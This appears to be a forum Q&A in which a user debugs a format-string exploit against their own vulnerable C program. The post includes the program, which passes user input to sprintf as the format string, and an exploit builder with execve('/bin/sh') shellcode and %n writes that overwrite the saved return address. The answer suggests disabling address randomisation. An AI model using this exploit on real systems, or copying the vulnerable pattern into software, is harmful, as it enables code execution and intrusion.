Search code examples
linuxdebuggingexploitshellcode

Format string bugs - exploitation


I'm trying to exploit my format string bug, which lies in this program:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void foo(char* tmp, char* format) {
  /* write into tmp a string formated as the format argument specifies */
  sprintf(tmp, format);

  /* just print the tmp buffer */
  printf("%s", tmp);
}

int main(int argc, char** argv) {
  char tmp[512];
  char format[512];

  while(1) {
    /* fill memory with constant byte */
    memset(format, '\0', 512);

    /* read at most 512 bytes into format */
    read(0, format, 512);

    /* compare two strings */
    if (!strncmp(format, "exit", 4))
      break;

    foo(tmp, format);
  }
  return 0;
}

The stack looks like this:

Low Memory Addresses

   before printf             before sprintf
     function                   function

                         ----------------------- 
                         |     0xbffff258      | -
-----------------------  ----------------------- |--- arguments to printf/sprintf
|     0xbffff258      |  |     0xbffff058      | -
-----------------------  ----------------------- 
|     0xbffff458      |  (saved EBP)
-----------------------
|     0x08048528      |  (return address to main - EIP)
-----------------------
|     0xbffff258      |  (pointer to tmp)
----------------------- 
|     0xbffff058      |  (pointer to format)
-----------------------
|     0x00000004      |  (constant 4)
-----------------------
|      format[0]      |  (starts at 0xbffff058)
-----------------------
|     format[511]     |
-----------------------
|       tmp[0]        |  (starts at 0xbffff258)
-----------------------
|      tmp[511]       |
-----------------------
High Memory Addresses

so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


main()
{
  char b0[255];
  char b1[255];
  char b2[255];
  char b3[255];
  char b4[1024];
  char buffer[512];

  memset(b0, 0, 255);
  memset(b1, 0, 255);
  memset(b2, 0, 255);
  memset(b3, 0, 255);
  memset(b4, 'A', 1024);

  memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
  memset(b1, 'A', 0xf0 - 0x68);
  memset(b2, 'A', 0xff - 0xf0);
  memset(b3, 'A', 0x1bf - 0xff);

  printf("\x48\xf0\xff\xbf" 
         "\x49\xf0\xff\xbf" 
         "\x4a\xf0\xff\xbf" 
         "\x4b\xf0\xff\xbf" 
         "%s" 
         "%s" 
         "%%6$n" 
         "%s" 
         "%%7$n"
         "%s" 
         "%%8$n" 
         "%s"
         "%%9$n" 
         ,shellcode, b0, b1, b2, b3);
}

we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.

I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.

Do anybody have any idea what's going on. Did I screw something up?

Thanks


Solution

  • Full Rewrite

    1. Ok, so you're stack is executable. Good.
    2. You should try disabling stack address randomization.
    3. This appears to be x86, but that sort of information should be added to the question.